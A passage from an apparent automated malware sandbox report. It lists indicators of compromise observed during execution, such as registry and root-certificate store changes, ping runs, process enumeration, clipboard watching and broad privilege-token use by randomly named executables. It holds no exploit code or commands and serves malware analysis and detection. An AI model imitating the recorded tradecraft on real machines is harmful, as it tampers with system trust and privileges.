WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02manhmeyprhepfi svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02manhmeyprhepfi\Provision Saturday, September 04, 2021 07:57:56 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAxPWI57fHyE6TmuDQDjWJfAAAAAACAAAAAAAQZgAAAAEAACAAAADNkJRt35fd/6mEnYnrIdhDsY+VZJL89+YQuXSr/gsEVAAAAAAOgAAAAAIAACAAAACQA11m/gOIeG6ZdzKGJzCo8BGPMgYBsZzlNjamP4ivESAAAAAEXRhpdsh2KiLu/frsJv6JfSN+iAAxLIII/KFt1+B/n0AAAABwnx6H42NEWsXbZf+HR4ciStyT+s2iJNHqA8Ukpz03Ns77jhdU5rGN6yR3Sa7pVnMw0QW+S0HWnOvPgHrrGnio" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5b934b42-522b-4c34-bbfe-37a3ef7b9c90}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f8278c54-a712-415b-b593-b77a2be0dda9}\Instance\ Explorer.EXE -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD Wed0900caa0501dc98f.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 5c000000010000000400000000080000190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc36200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8040000000100000010000000d474de575c39b2d39c8583c5c065498a2000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a installer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f Wed0900caa0501dc98f.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f Wed0900caa0501dc98f.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe -
Runs ping.exe 1 TTPs 5 IoCs
pid Process 9044 PING.EXE 8892 PING.EXE 9552 PING.EXE 6736 PING.EXE 4588 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4908 powershell.exe 4908 powershell.exe 1572 powershell.exe 1572 powershell.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 820 Wed091bab77a3bb62d.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe 1416 Wed0900caa0501dc98f.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3212 Explorer.EXE -
Suspicious behavior: MapViewOfSection 15 IoCs
pid Process 3476 u72LOaRxLgkK5IHOwYSqQlCm.exe 5988 u72LOaRxLgkK5IHOwYSqQlCm.exe 2940 z485zCgApYkB9GZalmCeDduF.exe 2940 z485zCgApYkB9GZalmCeDduF.exe 2940 z485zCgApYkB9GZalmCeDduF.exe 3476 u72LOaRxLgkK5IHOwYSqQlCm.exe 5988 u72LOaRxLgkK5IHOwYSqQlCm.exe 3476 u72LOaRxLgkK5IHOwYSqQlCm.exe 3476 u72LOaRxLgkK5IHOwYSqQlCm.exe 5988 u72LOaRxLgkK5IHOwYSqQlCm.exe 5988 u72LOaRxLgkK5IHOwYSqQlCm.exe 1472 YhE1IiHPA4dy8ccXNcMS2QFN.exe 5696 chkdsk.exe 5696 chkdsk.exe 2368 47BE.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs
pid Process 6180 msedge.exe 6180 msedge.exe 6180 msedge.exe 6180 msedge.exe 6180 msedge.exe 6180 msedge.exe 6180 msedge.exe 6180 msedge.exe 6180 msedge.exe 6180 msedge.exe 6180 msedge.exe 6180 msedge.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
pid Process 4388 8426701.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4292 svchost.exe Token: SeCreatePagefilePrivilege 4292 svchost.exe Token: SeShutdownPrivilege 4292 svchost.exe Token: SeCreatePagefilePrivilege 4292 svchost.exe Token: SeShutdownPrivilege 4292 svchost.exe Token: SeCreatePagefilePrivilege 4292 svchost.exe Token: SeShutdownPrivilege 4424 svchost.exe Token: SeCreatePagefilePrivilege 4424 svchost.exe Token: SeDebugPrivilege 1572 powershell.exe Token: SeDebugPrivilege 4908 powershell.exe Token: SeDebugPrivilege 3496 Wed09d761ab4704dd931.exe Token: SeDebugPrivilege 3948 Wed09c4c0c3d01.exe Token: SeRestorePrivilege 5280 WerFault.exe Token: SeBackupPrivilege 5280 WerFault.exe Token: SeBackupPrivilege 5280 WerFault.exe Token: SeDebugPrivilege 5844 taskkill.exe Token: SeCreateTokenPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeAssignPrimaryTokenPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeLockMemoryPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeIncreaseQuotaPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeMachineAccountPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeTcbPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeSecurityPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeTakeOwnershipPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeLoadDriverPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeSystemProfilePrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeSystemtimePrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeProfSingleProcessPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeIncBasePriorityPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeCreatePagefilePrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeCreatePermanentPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeBackupPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeRestorePrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeShutdownPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeDebugPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeAuditPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeSystemEnvironmentPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeChangeNotifyPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeRemoteShutdownPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeUndockPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeSyncAgentPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeEnableDelegationPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeManageVolumePrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeImpersonatePrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeCreateGlobalPrivilege 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: 31 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: 32 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: 33 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: 34 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: 35 5548 u441lgwhPCuZAE5fAfsAMoFK.exe Token: SeDebugPrivilege 3476 